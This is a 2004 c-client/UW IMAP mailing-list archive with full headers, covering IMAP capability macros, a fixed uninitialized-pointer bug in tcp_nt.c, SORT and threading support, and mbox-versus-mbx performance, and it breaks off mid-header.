(8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4SLXL7Z001992 for ; Fri, 28 May 2004 14:33:21 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4SLXIQL019008 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Fri, 28 May 2004 14:33:19 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with SMTP id i4SLWqQC015156; Fri, 28 May 2004 14:32:53 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i4SLVOFN082816 for ; Fri, 28 May 2004 14:31:24 -0700 Received: from mail.bynari.net (gw1.bynari.net [216.234.228.98]) by mxu2.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4SLVNwc003727 for ; Fri, 28 May 2004 14:31:23 -0700 Received: from mail.bynari.net (localhost [127.0.0.1]) by bynari.net (Postfix) with ESMTP id 6C6A71E00AC for ; Fri, 28 May 2004 21:31:22 +0000 (UTC) Received: by mail.bynari.net (Postfix, from userid 1001) id 130BF1E00CC; Fri, 28 May 2004 21:31:22 +0000 (UTC) Received: from redhook.bynari.net (redhook.bynari.net [192.168.3.111]) by mail.bynari.net (Postfix) with ESMTP id 53E3C1E00AC for ; Fri, 28 May 2004 21:31:21 +0000 (UTC) Message-Id: Date: Fri, 28 May 2004 16:31:20 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Shawn Walker" To: c-client@u.washington.edu Subject: Capability Strings from the IMAP Server In-Reply-To: References: Content-Type: text/plain; format=flowed; delsp=yes; charset=iso-8859-15 MIME-Version: 1.0 Content-Transfer-Encoding: 8bit X-Spam-Checker-Version: SpamAssassin 2.61 (1.212.2.1-2003-12-09-exp) on mail.bynari.net X-Spam-Level: X-Spam-Status: No, hits=-4.9 required=5.0 tests=BAYES_00 autolearn=ham version=2.61 X-Antivirus: Scanned by F-Prot Antivirus (http://www.f-prot.com) X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __EVITE_CTYPE 0, __CT_TEXT_PLAIN 0, __CT 0, __MIME_VERSION 0, __CTE 0, SIGNATURE_SHORT_DENSE 0, __MIME_TEXT_ONLY 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN How can I get the CAPABILITY strings that is returned from the IMAP server from c-client? I want to be able to see what the IMAP server can do in order to vailidate that IMAP server can or cannot do. Thanks, Shawn -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Fri May 28 14:56:23 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 28 May 2004 14:56:23 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4SLuNux003218 for ; Fri, 28 May 2004 14:56:23 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4SLuLsI000433 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Fri, 28 May 2004 14:56:21 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with SMTP id i4SLtZZL015316; Fri, 28 May 2004 14:55:36 -0700 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i4SLsfbm070752 for ; Fri, 28 May 2004 14:54:41 -0700 Received: from mxout6.cac.washington.edu (mxout6.cac.washington.edu [140.142.33.20]) by mxi2.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i4SLse7U029834 for ; Fri, 28 May 2004 14:54:40 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout6.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4SLsdTk022042; Fri, 28 May 2004 14:54:39 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4SLsdYr018973 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Fri, 28 May 2004 14:54:39 -0700 Message-Id: Date: Fri, 28 May 2004 14:52:36 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Shawn Walker Cc: c-client@u.washington.edu Subject: Re: Capability Strings from the IMAP Server In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, EMAIL_ATTRIBUTION 0, __MIME_TEXT_ONLY 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Fri, 28 May 2004, Shawn Walker wrote: > How can I get the CAPABILITY strings that is returned from the IMAP server > from c-client? I want to be able to see what the IMAP server can do in order > to vailidate that IMAP server can or cannot do. You can't get the capability string itself, but in imap-2004 there are several macros which you can use, e.g. LEVELNAMESPACE(stream) is non-zero if the IMAP server open on the stream has the NAMESPACE extension. Refer to imap4r1.h for more information. Also, look at the code which uses these in mtest.c. Do not call these macros on a non-IMAP stream, or you will be promptly punished by a crash. There are earlier versions of this interface in previous c-client releases. Don't use those earlier interfaces. Use the imap-2004 interface. You can call imap_cap(stream) directly, and in fact you have to in order to probe the extlevel. Note, though, that the extlevel can change after the first time you call imap_structure(); basically, once c-client realizes that the server supports bodystructure extension data it won't do unnecessary HEADER.FIELDS fetching after the first time. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Wed Jun 2 11:00:40 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 2 Jun 2004 11:00:40 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i52I0dnJ013636 for ; Wed, 2 Jun 2004 11:00:39 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i52I0b7h009592 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 2 Jun 2004 11:00:38 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with SMTP id i52I0KZ0011780; Wed, 2 Jun 2004 11:00:20 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i52HwYBl035734 for ; Wed, 2 Jun 2004 10:58:34 -0700 Received: from mail.bynari.net (gw1.bynari.net [216.234.228.98]) by mxu4.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i52HwWTi014692 for ; Wed, 2 Jun 2004 10:58:33 -0700 Received: from mail.bynari.net (localhost [127.0.0.1]) by bynari.net (Postfix) with ESMTP id 3D3131E0076 for ; Wed, 2 Jun 2004 12:58:32 -0500 (CDT) Received: by mail.bynari.net (Postfix, from userid 1001) id D7A8B1E0096; Wed, 2 Jun 2004 12:58:31 -0500 (CDT) Received: from redhook.bynari.net (redhook.bynari.net [192.168.3.111]) by mail.bynari.net (Postfix) with ESMTP id 2807D1E0076 for ; Wed, 2 Jun 2004 12:58:31 -0500 (CDT) Message-Id: Date: Wed, 02 Jun 2004 12:58:29 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Shawn Walker" To: c-client@u.washington.edu Subject: Fixed invalid pointer bug In-Reply-To: References: Content-Type: text/plain; format=flowed; delsp=yes; charset=iso-8859-15 MIME-Version: 1.0 Content-Transfer-Encoding: 8bit X-Spam-Checker-Version: SpamAssassin 2.61 (1.212.2.1-2003-12-09-exp) on mail.bynari.net X-Spam-Level: X-Spam-Status: No, hits=-4.9 required=5.0 tests=BAYES_00 autolearn=ham version=2.61 X-Antivirus: Scanned by F-Prot Antivirus (http://www.f-prot.com) X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __EVITE_CTYPE 0, __CT_TEXT_PLAIN 0, __CT 0, __MIME_VERSION 0, __CTE 0, SIGNATURE_SHORT_DENSE 0, __MIME_TEXT_ONLY 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN In imap-2004/src/osdep/nt/tcp_nt.c, tcp_open() "next" need to be initalize to NULL before calling ip_nametoaddr(). If gethostbyname() failed, next was "garbage" and so it was accessing invalid memory. Thanks, Shawn -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Jun 2 11:16:00 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 2 Jun 2004 11:16:00 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i52IFx6p014514 for ; Wed, 2 Jun 2004 11:15:59 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i52IFvCE004932 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 2 Jun 2004 11:15:58 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with SMTP id i52IFAgi013484; Wed, 2 Jun 2004 11:15:11 -0700 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i52IE9rH073820 for ; Wed, 2 Jun 2004 11:14:09 -0700 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.134]) by mxi2.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i52IE7Y0026999 for ; Wed, 2 Jun 2004 11:14:08 -0700 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.37.171]) by mxout1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i52IE6iq011084; Wed, 2 Jun 2004 11:14:06 -0700 Received: from localhost (mrc@localhost) by shiva1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i52IE6na013348; Wed, 2 Jun 2004 11:14:06 -0700 Message-Id: Date: Wed, 2 Jun 2004 11:14:06 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Shawn Walker Cc: c-client@u.washington.edu Subject: Re: Fixed invalid pointer bug In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, EMAIL_ATTRIBUTION 0, __MIME_TEXT_ONLY 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 2 Jun 2004, Shawn Walker wrote: > In imap-2004/src/osdep/nt/tcp_nt.c, tcp_open() "next" need to be initalize to > NULL before calling ip_nametoaddr(). If gethostbyname() failed, next was > "garbage" and so it was accessing invalid memory. I believe that I have already fixed this in a different and more comprehensive way. Please check the imap-2004a development snapshot: ftp://ftp.cac.washington.edu/mail/imap-2004a.DEV.tar.Z and verify that the problem that you observed is fixed. Thanks. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Wed Jun 2 12:25:51 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 2 Jun 2004 12:25:51 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i52JPpqW017919 for ; Wed, 2 Jun 2004 12:25:51 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i52JPnxX014283 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 2 Jun 2004 12:25:49 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with SMTP id i52JPBfg016198; Wed, 2 Jun 2004 12:25:11 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i52JO9h8041318 for ; Wed, 2 Jun 2004 12:24:09 -0700 Received: from mail.bynari.net (gw1.bynari.net [216.234.228.98]) by mxu2.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i52JO8pl005079 for ; Wed, 2 Jun 2004 12:24:08 -0700 Received: from mail.bynari.net (localhost [127.0.0.1]) by bynari.net (Postfix) with ESMTP id 272481E007A; Wed, 2 Jun 2004 14:24:08 -0500 (CDT) Received: by mail.bynari.net (Postfix, from userid 1001) id BF6BB1E0081; Wed, 2 Jun 2004 14:24:07 -0500 (CDT) Received: from redhook.bynari.net (redhook.bynari.net [192.168.3.111]) by mail.bynari.net (Postfix) with ESMTP id D36C91E007A; Wed, 2 Jun 2004 14:24:06 -0500 (CDT) Message-Id: Date: Wed, 02 Jun 2004 14:24:06 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Shawn Walker" To: "Mark Crispin" Cc: c-client@u.washington.edu Subject: Re: Fixed invalid pointer bug In-Reply-To: References: Content-Type: text/plain; format=flowed; delsp=yes; charset=iso-8859-15 MIME-Version: 1.0 Content-Transfer-Encoding: 8bit X-Spam-Checker-Version: SpamAssassin 2.61 (1.212.2.1-2003-12-09-exp) on mail.bynari.net X-Spam-Level: X-Spam-Status: No, hits=-4.9 required=5.0 tests=BAYES_00 autolearn=ham version=2.61 X-Antivirus: Scanned by F-Prot Antivirus (http://www.f-prot.com) X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __EVITE_CTYPE 0, __CT_TEXT_PLAIN 0, __CT 0, __MIME_VERSION 0, __CTE 0, QUOTED_EMAIL_TEXT 0, __MIME_TEXT_ONLY 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN The latest snap shot fixed the problem. On Wed, 2 Jun 2004 11:14:06 -0700 (PDT), Mark Crispin wrote: > On Wed, 2 Jun 2004, Shawn Walker wrote: >> In imap-2004/src/osdep/nt/tcp_nt.c, tcp_open() "next" need to be >> initalize to NULL before calling ip_nametoaddr(). If gethostbyname() >> failed, next was "garbage" and so it was accessing invalid memory. > > I believe that I have already fixed this in a different and more > comprehensive way. Please check the imap-2004a development snapshot: > ftp://ftp.cac.washington.edu/mail/imap-2004a.DEV.tar.Z > and verify that the problem that you observed is fixed. Thanks. > > -- Mark -- > > http://staff.washington.edu/mrc > Science does not emerge from voting, party politics, or public debate. > Si vis pacem, para bellum. > From pinedev@shivax2.cac.washington.edu Thu Jun 3 05:49:22 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 3 Jun 2004 05:49:22 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i53CnLXD027804 for ; Thu, 3 Jun 2004 05:49:21 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i53CnKx4011823 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 3 Jun 2004 05:49:20 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with SMTP id i53Cn66v015396; Thu, 3 Jun 2004 05:49:06 -0700 Received: from mxe3.u.washington.edu (mxe3.u.washington.edu [140.142.32.137]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i53ClYjf087600 for ; Thu, 3 Jun 2004 05:47:34 -0700 Received: from web52404.mail.yahoo.com (web52404.mail.yahoo.com [206.190.39.112]) by mxe3.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with SMTP id i53ClUd5005902 for ; Thu, 3 Jun 2004 05:47:31 -0700 Received: from [65.201.129.36] by web52404.mail.yahoo.com via HTTP; Thu, 03 Jun 2004 05:47:30 PDT Message-Id: <20040603124730.11123.qmail@web52404.mail.yahoo.com> Date: Thu, 3 Jun 2004 05:47:30 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: probsd org To: c-client@u.washington.edu Cc: squirrelmail-users@lists.sourceforge.net Subject: imap-UW with SORT/threads MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="0-2130176922-1086266850=:11012" X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__MSGID_BEFORE_OKAY 0, __HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __MIME_VERSION 0, __CTYPE_MULTIPART_ALT 0, __EVITE_CTYPE 0, __CT 0, __CTYPE_HAS_BOUNDARY 0, __CTYPE_MULTIPART 0, __MIME_HTML 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN --0-2130176922-1086266850=:11012 Content-Type: text/plain; charset=us-ascii In reading http://www.squirrelmail.org/wiki/en_US/SquirrelMailPerformance I am wondering if imap-uw supports the SORT extension and server-side threading? If so, where does one " turn on " these features? I'm using the latest FreeBSD port of imap-uw and see no mention in the Makefile for SORT and server-side threading. ideas? Michael --------------------------------- Do you Yahoo!? Friends. Fun. Try the all-new Yahoo! Messenger --0-2130176922-1086266850=:11012 Content-Type: text/html; charset=us-ascii
    In reading http://www.squirrelmail.org/wiki/en_US/SquirrelMailPerformance I am wondering if imap-uw supports the SORT extension and server-side threading?
     
    If so, where does one " turn on " these features?   I'm using the latest FreeBSD port of imap-uw and see no mention in the Makefile for SORT and server-side threading.
     
    ideas?
     
    Michael

    Do you Yahoo!?
    Friends. Fun. Try the all-new Yahoo! Messenger --0-2130176922-1086266850=:11012-- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Jun 3 08:15:56 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 3 Jun 2004 08:15:56 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i53FFuYt001100 for ; Thu, 3 Jun 2004 08:15:56 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i53FFrqZ016724 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 3 Jun 2004 08:15:54 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with SMTP id i53FFV5m010924; Thu, 3 Jun 2004 08:15:31 -0700 Received: from mxu9.u.washington.edu (mxu9.u.washington.edu [140.142.32.174]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i53FELfq007796 for ; Thu, 3 Jun 2004 08:14:21 -0700 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.134]) by mxu9.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i53FEK14016420 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 3 Jun 2004 08:14:20 -0700 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.37.171]) by mxout1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i53FEJm6031513; Thu, 3 Jun 2004 08:14:19 -0700 Received: from localhost (mrc@localhost) by shiva1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i53FEIil026963; Thu, 3 Jun 2004 08:14:18 -0700 Message-Id: Date: Thu, 3 Jun 2004 08:14:18 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: probsd org Cc: c-client@u.washington.edu, squirrelmail-users@lists.sourceforge.net Subject: Re: imap-UW with SORT/threads In-Reply-To: <20040603124730.11123.qmail@web52404.mail.yahoo.com> References: <20040603124730.11123.qmail@web52404.mail.yahoo.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, __MIME_TEXT_ONLY 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 3 Jun 2004, probsd org wrote: > I am wondering if imap-uw supports the SORT extension and server-side > threading? Most certainly yes! UW imapd was the server in which SORT and server-side threading was designed, developed, and implemented! > If so, where does one " turn on " these features? These features can't be turned off, and thus are always on. There is therefore no operation to turn them on. > I'm using the latest FreeBSD port of imap-uw and see no mention in the > Makefile for SORT and server-side threading. That's because they are not controllable through the Makefile, being always on. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Thu Jun 3 10:24:22 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 3 Jun 2004 10:24:22 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i53HOMo7007509 for ; Thu, 3 Jun 2004 10:24:22 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i53HOKso025825 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 3 Jun 2004 10:24:21 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with SMTP id i53HO6FT012006; Thu, 3 Jun 2004 10:24:06 -0700 Received: from mxu7.u.washington.edu (mxu7.u.washington.edu [140.142.32.165]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i53HN2UE049574 for ; Thu, 3 Jun 2004 10:23:02 -0700 Received: from mx0.d.umn.edu (mx0.d.umn.edu [131.212.109.42]) by mxu7.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i53HN1PR008698 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 3 Jun 2004 10:23:01 -0700 Received: from mx2.d.umn.edu (mx2.d.umn.edu [131.212.109.37]) by mx0.d.umn.edu (8.12.9/8.12.9) with SMTP id i53HN0aZ006493 for ; Thu, 3 Jun 2004 12:23:00 -0500 (CDT) Received: from mx3.d.umn.edu ([131.212.109.40]) by mx2.d.umn.edu (SAVSMTP 3.1.3.37) with SMTP id M2004060312230027234 ; Thu, 03 Jun 2004 12:23:00 -0500 Received: from borg.d.umn.edu (borg.d.umn.edu [131.212.60.98]) by mx3.d.umn.edu (8.12.9/8.12.9) with ESMTP id i53HKBNC000363; Thu, 3 Jun 2004 12:20:11 -0500 (CDT) Received: (from shollatz@localhost) by borg.d.umn.edu (8.12.9/8.12.9) id i53HKBbT025297; Thu, 3 Jun 2004 12:20:11 -0500 (CDT) Message-Id: <200406031720.i53HKBbT025297@borg.d.umn.edu> Date: Thu, 3 Jun 2004 12:20:11 -0500 (CDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: To: c-client@u.washington.edu Cc: shollatz@d.umn.edu Subject: mbox vs mbx decisions X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, NO_REAL_NAME 0.000, __TO_MALFORMED_2 0, __C230066_P5 0, SIGNATURE_LONG_SPARSE 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This has probably been discussed many times over, but I cannot find references to it... We have historically used the mbox format and have developed tools for interacting, analyzing, and managing inboxes. This has worked well for admins and users. There has been some pressure in the recent past to enhance the user's email experience by providing even faster access to their inbox and simultaneous access (only one request so far on the latter). The question is: When does the mbx performance gains over mbox begin? We have a 3MB limit on inbox size, it gets moved to the user's ~/Mail dir nightly if it exceeds the limit. The user can access their inbox and saved mail normally via IMAP. An access of a 3MB mbox inbox is pretty quick on a 4-CPU Solaris 8 system with 16GB RAM (Sun V440). Would switching from mbox to mbx significantly increase access time? A conversion would also imply a rework of tools and procedures for about 26K accounts spread over 4 systems. -- scott hollatz net shollatz@d.umn.edu information technology systems and services tel +1 218 726 8851 university of minnesota duluth mn usa fax +1 218 726 7674 -- "gabba gabba hey" - the ramones -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Jun 3 11:07:13 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 3 Jun 2004 11:07:13 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i53I7CF7010039 for ; Thu, 3 Jun 2004 11:07:12 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i53I7Ac1023437 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 3 Jun 2004 11:07:11 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with SMTP id i53I6tOU011392; 